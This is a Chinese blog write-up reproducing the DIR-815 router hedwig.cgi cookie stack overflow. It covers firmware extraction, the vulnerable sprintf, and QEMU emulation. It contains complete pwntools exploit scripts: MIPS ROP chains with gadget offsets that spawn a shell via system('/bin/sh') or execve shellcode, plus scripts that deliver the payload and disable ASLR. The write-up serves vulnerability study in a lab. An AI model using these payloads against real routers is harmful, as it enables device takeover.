0%

DIR-815路由器溢出漏洞复现

复现的第一个IOT漏洞,算是比较经典的了,网上也有挺多相关的文章。这个漏洞从我复现完到现在有一段时间了,前段时间一直在忙其他事,现在来大致整理一下复现的整个过程,也算是过一个流程吧。

固件解压

安装binwalk

由于新版本binwalk完全重写为Rust语言,故没有setup.py文件,不过可以继续用老版本的binwalk。

git clone https://github.com/ReFirmLabs/binwalk.git
cd binwalk
git checkout v2.3.2
sudo python3 setup.py install

安装依赖

sudo ./deps.sh
# cd ~/Desktop
sudo apt-get install build-essential liblzma-dev liblzo2-dev zlib1g-dev
git clone https://github.com/devttys0/sasquatch.git
cd sasquatch
./build.sh

binwalk安装成功后,从官网上先下载下来固件,然后直接运行binwalk -Me DIR-815.bin即可,文件cgibin便是我们要分析的二进制文件。

后面还要用到一个IDA插件,在这里一起说一下安装过程。

IDA插件MIPSROP安装

ida版本:IDA_Pro_v7.5
下载压缩包,将解压后的所有文件都放到ida根目录下的plugins目录下。然后在ida中执行如下代码:

import mipsrop
mipsrop = mipsrop.MIPSROPFinder()

简单使用:

mipsrop.find("li .*, 1")
mipsrop.find("jr .*")
mipsrop.stackfinder()

漏洞分析

首先在main函数中进入到hedwigcgi_main()函数,需要命令行参数的第一个参数为”hedwig.cgi”

image-20250328113504393

在hedwigcgi_main()函数中,首先会获取环境变量REQUEST_METHOD,并且该环境变量需要为”POST”,才能正常往下走

image-20250330155931725

然后进入到sess_get_uid(v4)函数,在该函数中会获取环境变量HTTP_COOKIE,并将”=”前部分的内容传给v2,”=”后面的内容传给v4,如果v2等于”uid”才会把v4拼接到a1也就是sess_get_uid函数传进来的v4

image-20250330162700720

接着往下走便是一个栈溢出漏洞,由sprintf函数引发变量v6和前两个字符串会拼接到一起,然后赋给变量v27,变量v6是环境变量HTTP_COOKIE的”=”后面的内容我们可以对其任意赋值,而数组v27只有1024个字节大小,故可以进行栈溢出

image-20250330163422595

qume用户模式

exp.sh

INPUT="w="
# LENGTH=$(echo -n "w=" | wc -c)
# echo $LENGTH
cookie="uid=`cat payload`"
echo $INPUT | qemu-mipsel -L ./ -0 "hedwig.cgi" -E REQUEST_METHOD="POST" -E CONTENT_LENGTH=2 -E CONTENT_TYPE="application/x-www-form-urlencoded" -E HTTP_COOKIE=$cookie -E REQUEST_URI="5799" -g 1234 ./htdocs/web/hedwig.cgi

libc的确定:

这里以memset函数为例,程序中第二次调用该函数时,直接跳转到的地址就是memset函数的实际地址,而知道其实际地址后,有两种方法查看其libc偏移,可以直接在libc文件中查看,也可以在gdb中执行vmmap 实际地址查看其偏移。

这里要说一句,cgibin这个文件一共有2个依赖库和1个动态链接器,而后面要利用到的文件中的system函数是来自libc.so.0这个文件中的,所以要在libc.so.0中查看偏移而不是libgcc_s.so.1

image-20250328114454350

ida中的偏移:

image-20250305140826839

gdb中的数据:

image-20250305140338922

ROP-system

from pwn import *
context(os='linux',log_level='debug',arch='mips',endian='little',word_size=32)
# offset = 1009
# ret = 0x409A54
# main = 0x004023E0

libc_base = 0x7f76ca20-0x00034A20 #0x7F738000
sys_addr = 0x53200+libc_base-1
binsh_addr = 0x0006DFD0+libc_base
'''0x00032A98 | addiu $s0,1 | jalr $s1 '''
# .text:00032A98 addiu $s0, 1
# .text:00032A9C li $s2, 1
# .text:00032AA0 move $t9, $s1
# .text:00032AA4 jalr $t9
'''0x000159F4 | move $t9,$s0 | jalr $s0 '''
# .text:000159F4 move $t9, $s0
# .text:000159F8 jalr $t9
'''0x00013F8C | move $a0,$s3 | jalr $s6 '''
# .text:00013F8C move $a0, $s3
# .text:00013F90 move $t9, $s6
# .text:00013F94 jalr $t9

payload = b"uid="+b'a'*(1005-0x20-4)+p32(sys_addr)#s0
payload+=p32(libc_base+0x000159F4)#s1:move $t9,$s0
payload+=b'b'*4#s2
payload+=p32(binsh_addr)+b'c'*8#s3,s4,s5
payload+=p32(libc_base+0x00032A98)#s6:addiu $s0,1
payload+=b'd'*8+p32(libc_base+0x00013F8C)#$ra:move $a0,$s3
with open("payload",'wb') as f:
f.write(payload)
f.close()

这个脚本本身是没问题的,但是最后还是会停在这里:

image-20250305152035603

这是因为system(“/bin/sh”)中会调用fork()函数来创建一个新的进程,而用户模式下是不支持多进程的。当然系统模式下是可以的。

image-20250305193748177

ROP–shellcode

from pwn import *
context(os='linux',log_level='debug',arch='mips',endian='little',word_size=32)
# offset = 1009
# ret = 0x409A54
shellcode = asm('''
slti $a2, $zero, -1
li $t7, 0x69622f2f
sw $t7, -12($sp)
li $t6, 0x68732f6e
sw $t6, -8($sp)
sw $zero, -4($sp)
la $a0, -12($sp)
slti $a1, $zero, -1
li $v0, 4011
syscall 0x40404
''')
libc_base = 0x7f76ca20-0x00034A20 #0x7F738000
sleep_addr = libc_base+0x00056BD0
".text:000436D0 move $t9, $s3"
# .text:000436D4 lw $ra, 0x18+var_s14($sp)
# .text:000436D8 lw $s4, 0x18+var_s10($sp)
# .text:000436DC lw $s3, 0x18+var_sC($sp)
# .text:000436E0 lw $s2, 0x18+var_s8($sp)
# .text:000436E4 lw $s1, 0x18+var_s4($sp)
# .text:000436E8 lw $s0, 0x18+var_s0($sp)
# .text:000436EC jr $t9
".text:00057E50 li $a0, 1"
# .text:00057E54 move $t9, $s1
# .text:00057E58 jalr $t9 ;
".text:00037E6C move $t9, $a1"
# .text:00037E70 addiu $a0, 0x4C # 'L'
# .text:00037E74 jr $t9
".text:0003B974 addiu $a1, $sp, 0x24+var_C"
# .text:0003B978 move $t9, $s4
# .text:0003B97C jalr $t9
payload = b'a'*(1005-0x20)+b'b'*4+p32(libc_base+0x000436D0)
payload += b'b'*4
payload += p32(sleep_addr)+b'c'*20 # s3:sleep(),s4~s8
payload += p32(libc_base+0x00057E50) # ra:li $a0,1 下面的内容全部被写到栈上
payload += b'd'*24+b'e'*16#SP~SP+20,SP+24~SP+36
payload += p32(libc_base+0x00037E6C) # s4:move $t9, $a1
payload += p32(libc_base+0x0003B974) # ra:addiu $a1, $sp, 0x18 (=> jalr $s4
payload += b'f'*24
payload += shellcode
with open("payload",'wb') as f:
f.write(payload)
f.close()

qemu系统模式

执行下面命令,安装相关工具,

sudo apt install net-tools
sudo apt-get install bridge-utils
sudo apt install uml-utilities

分别执行以下命令,也可以将这些命令都写到脚本中,执行脚本文件即可(chmod +x net.sh && ./net.sh),

#!/bin/sh
#sudo ifconfig eth0 down #关闭宿主机网卡接口
sudo brctl addbr br0 #添加一座名为br0的网桥
sudo brctl addif br0 ens33 #在br0中添加一个接口
sudo brctl stp br0 off #如果只有一个网桥,则关闭生成树协议
sudo brctl setfd br0 1 #设置br0的转发延迟
sudo brctl sethello br0 1 #设置br0的hello时间
sudo ifconfig br0 0.0.0.0 promisc up #启用br0接口
sudo ifconfig ens33 0.0.0.0 promisc up #启用网卡接口
sudo dhclient br0 #从dhcp服务器获得br0的IP地址
sudo brctl show br0 #查看虚拟网桥列表
sudo brctl showstp br0 #查看br0的各接口信息
sudo tunctl -t tap0 -u root #创建一个tap0接口,只允许root用户访问
sudo brctl addif br0 tap0 #在虚拟网桥中增加一个tap0接口
sudo ifconfig tap0 0.0.0.0 promisc up #启用tap0接口
sudo brctl showstp br0

然后再执行下面这个命令来启动,

sudo qemu-system-mipsel -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -nographic -net nic -net tap,ifname=tap0,script=no,downscript=no

对上面这个命令的解释:

参数 解释
qemu-system-mipsel 启动qemu模拟器,指定模拟的目标架构是mips
-M malta 指定虚拟机的机器类型为Malta,这是一种MIPS架构的开发板
-kernel vmlinux-2.6.32-5-4kc-malta 指定使用的内核文件,这里是Linux内核
-hda debian_squeeze_mipsel_standard.qcow2 指定虚拟硬盘文件
-append “root=/dev/sda1 console=tty0” 向内核传递启动参数,指定根文件系统的位置为/dev/sda1,并启用控制台输出到tty0(虚拟终端)
-nographic 禁用图形界面
-net nic 创建一个虚拟网络接口(nic)用于虚拟机通信
-net tap,ifname=tap0,script=no,downscript=no 指定使用名为tap0的接口,禁用网络脚本防止qemu自动修改网络配置

在qemu模拟器中可以看到IP地址,并能在宿主机上ping通便是ok了。

image-20250325223711815 image-20250325223749887

将binwalk解压后的文件系统传到qemu模拟器中

sudo scp -r ./squashfs-root root@192.168.107.135:/root/squashfs-root

然后在qemu中的squashfs-root目录下新建一个http_conf文件写入以下代码(网卡、IP和port要改成自己的)

Umask 026
PIDFile /var/run/httpd.pid
LogGMT On #开启log
ErrorLog /log #log文件

Tuning
{
NumConnections 15
BufSize 12288
InputBufSize 4096
ScriptBufSize 4096
NumHeaders 100
Timeout 60
ScriptTimeout 60
}

Control
{
Types
{
text/html { html htm }
text/xml { xml }
text/plain { txt }
image/gif { gif }
image/jpeg { jpg }
text/css { css }
application/octet-stream { * }
}
Specials
{
Dump { /dump }
CGI { cgi }
Imagemap { map }
Redirect { url }
}
External
{
/usr/sbin/phpcgi { php }
}
}

Server
{
ServerName "Linux, HTTP/1.1, "
ServerId "1234"
Family inet
Interface eth0 #对应qemu仿真路由器系统的网卡
Address 192.168.107.135 #qemu仿真路由器系统的IP
Port "80" #对应未被使用的端口
Virtual
{
AnyHost
Control
{
Alias /
Location /htdocs/web
IndexNames { index.php }
External
{
/usr/sbin/phpcgi { router_info.xml }
/usr/sbin/phpcgi { post_login.xml }
}
}
Control
{
Alias /HNAP1
Location /htdocs/HNAP1
External
{
/usr/sbin/hnap { hnap }
}
IndexNames { index.hnap }
}
}
}

接着在物理机上/opt/tools/mipsel目录中新建 init.sh 文件,写入以下内容,并执行

#! /bin/sh
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -F
sudo iptables -X
sudo iptables -t nat -F
sudo iptables -t nat -X
sudo iptables -t mangle -F
sudo iptables -t mangle -X
sudo iptables -P INPUT ACCEPT
sudo iptables -P FORWARD ACCEPT
sudo iptables -P OUTPUT ACCEPT
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT
sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT

然后在qemu中的squashfs-root目录下创建init.sh文件,写入以下内容,并执行

#!/bin/bash
echo 0 > /proc/sys/kernel/randomize_va_space
cp http_conf /
cp sbin/httpd /
cp -rf htdocs/ /
mkdir /etc_bak
cp -r /etc /etc_bak
rm /etc/services
cp -rf etc/ /
cp lib/ld-uClibc-0.9.30.1.so /lib/
cp lib/libcrypt-0.9.30.1.so /lib/
cp lib/libc.so.0 /lib/
cp lib/libgcc_s.so.1 /lib/
cp lib/ld-uClibc.so.0 /lib/
cp lib/libcrypt.so.0 /lib/
cp lib/libgcc_s.so /lib/
cp lib/libuClibc-0.9.30.1.so /lib/
cd /
rm -rf /htdocs/web/hedwig.cgi
rm -rf /usr/sbin/phpcgi
rm -rf /usr/sbin/hnap
ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi
ln -s /htdocs/cgibin /usr/sbin/phpcgi
ln -s /htdocs/cgibin /usr/sbin/hnap
./httpd -f http_conf

最后进到qemu的/squashfs-root/sbin目录下,执行./httpd -f /root/squashfs-root/http_conf后,便能在宿主机上正常访问http://192.168.107.135/hedwig.cgi

如下:

image-20250325224040482

#!/bin/bash
export CONTENT_LENGTH="11"
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE="uid=`cat payload`"
export REQUEST_METHOD="POST"
export REQUEST_URI="2333"
echo "winmt=pwner"|./gdbserver.mipsle 192.168.107.128:6666 /htdocs/web/hedwig.cgi
#echo "winmt=pwner"|/htdocs/web/hedwig.cgi
unset CONTENT_LENGTH
unset CONTENT_TYPE
unset HTTP_COOKIE
unset REQUEST_METHOD
unset REQUEST_URI

参考文章

[原创] 从零开始复现 DIR-815 栈溢出漏洞-二进制漏洞-看雪-安全社区|安全招聘|kanxue.com

D-Link DIR-815路由器溢出漏洞分析 | ZIKH26’s Blog